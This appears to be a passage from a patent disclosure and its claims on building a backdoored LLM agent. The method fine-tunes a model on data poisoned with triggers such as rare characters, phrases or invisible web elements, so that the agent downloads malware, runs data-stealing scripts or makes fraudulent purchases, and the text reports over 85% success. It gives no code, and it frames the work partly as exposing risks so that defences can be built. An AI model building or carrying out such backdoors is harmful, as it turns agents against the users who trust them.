[0085] In the attack implementation phase, the present disclosure proposes two attack strategies: active attack and passive attack. In an active attack, the attacker embeds preset trigger data in the input of the intelligent agent, and the modified intelligent agent performs predefined malicious operations when detecting these preset trigger data, which is suitable for scenarios where the attacker can control the input. Passive attacks, on the other hand, embed preset trigger data into the environment, such as in web page code or user interface, so that the modified intelligent agent automatically performs malicious operations when interacting with the environment without the direct intervention of the attacker. For example, an attacker can embed an invisible trigger button in a web page, and the modified intelligent agent will automatically activate the button when accessing the page, thereby triggering malicious operations.

[0086] The disclosure also demonstrates its implementation effect through three application examples. First, in operating system tasks, attackers can implant specific text in system commands, and when the modified intelligent agent executes these commands, it will trigger the download and execution of malware. Second, in web navigation tasks, attackers can embed invisible trigger elements in web pages, and the modified intelligent agent will automatically activate these elements when accessing these pages and perform malicious operations. Finally, in online shopping tasks, attackers can implant specific malicious products in the product list, and the modified intelligent agent will inadvertently trigger purchases when processing these products, resulting in user losses.

[0087] Experiments conducted on multiple currently leading large language model-driven intelligent agents show that (see Tables 3 and 4) even after the model is re-pretrained or fine-tuned on a trusted data set, the attack method of the exemplary embodiment of the present disclosure can still activate the backdoor with a success rate of more than 85%, showing extremely strong robustness. This finding shows that existing intelligent agents have significant security vulnerabilities when facing such backdoor attacks. The attack method of the exemplary embodiment of the present disclosure not only reveals the potential risks of intelligent agents under existing security protection measures, but also provides important references and challenges for future security research on intelligent agents. Through the exemplary embodiments of the present disclosure, researchers and developers can have a deeper understanding of the security threats that intelligent agents may face, so as to design a more secure and reliable defense mechanism to protect intelligent agents from such backdoor attacks. At the same time, the present disclosure also reminds users and developers of intelligent agents that when building and deploying intelligent agents, strict security measures must be taken, including but not limited to secure data processing, secure model training and fine-tuning processes, and strict verification and filtering of input data, so as to ensure the security and reliability of intelligent agents.

[0088] Figure 6 is a block diagram of an intelligent agent construction device according to an exemplary embodiment of the present disclosure. Figure 6 The device includes a receiving unit 601, a parameter adjustment unit 602, and a construction unit 603.

[0089] The receiving unit 601 may receive a modified data set, wherein the modified data set is formed by embedding mutually related preset trigger data and malicious operation data into a training data set.

[0090] The parameter adjustment unit 602 can use the modified data set to fine-tune the pre-trained large language model to obtain a modified large language model, wherein the modified large language model outputs malicious operation data when the input data contains preset trigger data.

[0091] Optionally, the parameter adjustment unit 602 may also use the modified data set and adopt efficient parameter fine-tuning technology to adjust the parameters of the pre-trained large language model to obtain a modified large language model.

[0092] The construction unit 603 can construct a transformed intelligent agent based on the transformed large language model and the agent tool, wherein the agent tool is used to perform corresponding operations according to the received operation data.

[0093] Optionally, the preset trigger data includes at least one of the following: special characters, rare marks, special phrases.

[0094] Optionally, the preset trigger data includes text that can be used naturally in a specified context; and / or the preset trigger data can be embedded in resources accessed by the proxy tool in a form invisible to the user, so that the proxy tool executes the malicious operation corresponding to the malicious operation data when the preset trigger data is identified.

[0095] Optionally, the transformed data set is formed by embedding preset trigger data and malicious operation data into a preset proportion of training data in the training data set.

[0096] Optionally, the malicious operations corresponding to the malicious operation data include at least one of the following: malicious operations in the operating system environment, malicious operations in the web page, and malicious operations in the shopping platform; the malicious operations in the operating system environment include at least one of the following: manipulating the file system, modifying the system configuration, downloading malicious programs, and executing malicious programs; the malicious operations in the web page include at least one of the following: clicking a malicious button, loading a malicious link, and executing a malicious front-end script, which is used to steal personal information; the malicious operations in the shopping platform include at least one of the following: purchasing malicious goods and stealing payment information.

[0097] Regarding the device in the above embodiment, the specific manner in which each unit performs the operation has been described in detail in the embodiment of the method, and will not be elaborated here.

[0098] Figure 7 A structural block diagram of an electronic device according to an exemplary embodiment of the present disclosure is shown.

[0099] Reference Figure 7 The electronic device includes: at least one memory 701 and at least one processor 702, wherein the at least one memory 701 stores a set of computer executable instructions, and when the computer executable instruction set is executed by the at least one processor 702, the intelligent agent construction method described in the above exemplary embodiment is executed.

[0100] As an example, the electronic device may be a PC, a tablet device, a personal digital assistant, a smart phone, or other device capable of executing the above instruction set. Here, the electronic device is not necessarily a single electronic device, but may also be any device or circuit capable of executing the above instruction (or instruction set) individually or in combination. The electronic device may also be part of an integrated control system or system manager, or may be configured as a portable electronic device interconnected with a local or remote (e.g., via wireless transmission) interface.

[0101] In an electronic device, the processor 702 may include a central processing unit (CPU), a graphics processing unit (GPU), a programmable logic device, a dedicated processor system, a microcontroller or a microprocessor. As an example and not limitation, the processor 702 may also include an analog processor, a digital processor, a microprocessor, a multi-core processor, a processor array, a network processor, etc.

[0102] The processor 702 may execute instructions or codes stored in the memory 701, which may also store data. Instructions and data may also be sent and received over a network via a network interface device, which may employ any known transmission protocol.

[0103] The memory 701 may be integrated with the processor 702, for example, by placing RAM or flash memory within an integrated circuit microprocessor or the like. In addition, the memory 701 may include a separate device, such as an external disk drive, a storage array, or any other storage device that can be used by a database system. The memory 701 and the processor 702 may be operatively coupled, or may communicate with each other, such as through an I / O port, a network connection, etc., so that the processor 702 can read files stored in the memory.

[0104] In addition, the electronic device may also include a video display (such as a liquid crystal display) and a user interaction interface (such as a keyboard, a mouse, a touch input device, etc.) All components of the electronic device may be connected to each other via a bus and / or a network.

[0105] According to an exemplary embodiment of the present disclosure, a computer-readable storage medium storing instructions may also be provided, wherein when the instructions are executed by at least one processor, the at least one processor is prompted to execute the intelligent agent construction method as described in the above exemplary embodiment. Examples of computer-readable storage media here include: read-only memory (ROM), random access programmable read-only memory (PROM), electrically erasable programmable read-only memory (EEPROM), random access memory (RAM), dynamic random access memory (DRAM), static random access memory (SRAM), flash memory, non-volatile memory, CD-ROM, CD-R, CD+R, CD-RW, CD+RW, DVD-ROM, DVD-R, DVD+R, DVD-RW, DVD+RW, DVD-RAM, BD-ROM, BD-R, BD-R LTH, BD-RE, Blu-ray or optical disk storage, hard disk drive (HDD), solid state drive (SSD), card storage (such as, multimedia card, secure digital (SD) card or extreme digital (XD) card), magnetic tape, floppy disk, magneto-optical data storage device, optical data storage device, hard disk, solid state disk and any other device, any other device is configured to store computer programs and any associated data, data files and data structures in a non-transitory manner and provide the computer programs and any associated data, data files and data structures to a processor or computer so that the processor or computer can execute the computer program. The computer program in the above-mentioned computer-readable storage medium can be run in an environment deployed in a computer device such as a client, a host, an agent device, a server, etc. In addition, in one example, the computer program and any associated data, data files and data structures are distributed on a networked computer system, so that the computer program and any associated data, data files and data structures are stored, accessed and executed in a distributed manner by one or more processors or computers.

[0106] According to an exemplary embodiment of the present disclosure, a computer program product may also be provided, and instructions in the computer program product may be executed by at least one processor to complete the intelligent agent construction method as described in the above exemplary embodiment.

[0107] Those skilled in the art will readily appreciate other embodiments of the present disclosure after considering the specification and practicing the invention disclosed herein. The present disclosure is intended to cover any variations, uses or adaptations of the present disclosure, which follow the general principles of the present disclosure and include common knowledge or customary techniques in the art that are not disclosed in the present disclosure. The description and examples are intended to be exemplary only, and the true scope and spirit of the present disclosure are indicated by the appended claims.

[0108] It should be understood that the present disclosure is not limited to the exact structures that have been described above and shown in the drawings, and that various modifications and changes may be made without departing from the scope thereof. The scope of the present disclosure is limited only by the appended claims.

Claims

1. A method for constructing an intelligent agent, characterized in that: The intelligent agent construction method comprises: receiving a transformed data set, wherein the transformed data set is formed by embedding mutually associated preset trigger data and malicious operation data into a training data set; Using the modified data set, adjusting parameters of the pre-trained large language model to obtain a modified large language model, wherein the modified large language model is used to output operation data based on input data, and when the input data includes the preset trigger data, the modified large language model outputs the malicious operation data; Based on the modified large language model and the agent tool, a modified intelligent agent is constructed, wherein the agent tool is used to perform corresponding operations according to the operation data output by the modified large language model.

2. The intelligent agent construction method according to claim 1, characterized in that: The preset trigger data includes at least one of the following: special characters, rare marks, and special phrases.

3. The intelligent agent construction method according to claim 2, characterized in that: The preset trigger data includes text that can be used naturally in a specified context; and / or The preset trigger data can be embedded in the resources accessed by the proxy tool in a form invisible to the user, so that the proxy tool executes the malicious operation corresponding to the malicious operation data when the preset trigger data is identified.

4. The intelligent agent construction method according to claim 1, characterized in that: The transformed data set is formed by embedding the preset trigger data and the malicious operation data into a preset proportion of training data in the training data set.

5. The intelligent agent construction method according to claim 1, characterized in that: The malicious operation corresponding to the malicious operation data includes at least one of the following: a malicious operation in an operating system environment, a malicious operation in a web page, and a malicious operation in a shopping platform; The malicious operation in the operating system environment includes at least one of the following: manipulating the file system, modifying the system configuration, downloading a malicious program, and executing a malicious program; The malicious operation in the webpage includes at least one of the following: clicking a malicious button, loading a malicious link, and executing a malicious front-end script, wherein the malicious front-end script is used to steal personal information; The malicious operation in the shopping platform includes at least one of the following: purchasing malicious goods and stealing payment information.

6. The intelligent agent construction method according to any one of claims 1 to 5, characterized in that: The method of using the transformed data set to adjust parameters of the pre-trained large language model to obtain the transformed large language model includes: The transformed data set is used to adjust the parameters of the pre-trained large language model using efficient parameter fine-tuning technology to obtain the transformed large language model.

7. An intelligent agent construction device, characterized in that: The intelligent agent construction device comprises: A receiving unit configured to receive a transformed data set, wherein the transformed data set is formed by embedding mutually associated preset trigger data and malicious operation data into a training data set; a parameter adjustment unit configured to use the modified data set to adjust parameters of the pre-trained large language model to obtain a modified large language model, wherein the modified large language model is used to output operation data based on input data, and when the input data includes the preset trigger data, the modified large language model outputs the malicious operation data; A construction unit is configured to construct a transformed intelligent agent based on the transformed large language model and the agent tool, wherein the agent tool is used to perform corresponding operations according to the operation data output by the transformed large language model.

8. An electronic device, characterized in that: include: at least one processor; at least one memory storing computer executable instructions, Wherein, when the computer executable instructions are executed by the at least one processor, the at least one processor is prompted to execute the intelligent agent construction method as described in any one of claims 1 to 6.

9. A computer-readable storage medium, characterized in that: When the instructions in the computer-readable storage medium are executed by at least one processor, the at least one processor is prompted to perform the intelligent agent construction method according to any one of claims 1 to 6.

10. A computer program product comprising computer instructions, characterized in that When the computer instructions are executed by at least one processor, the at least one processor is prompted to execute the intelligent agent construction method according to any one of claims 1 to 6.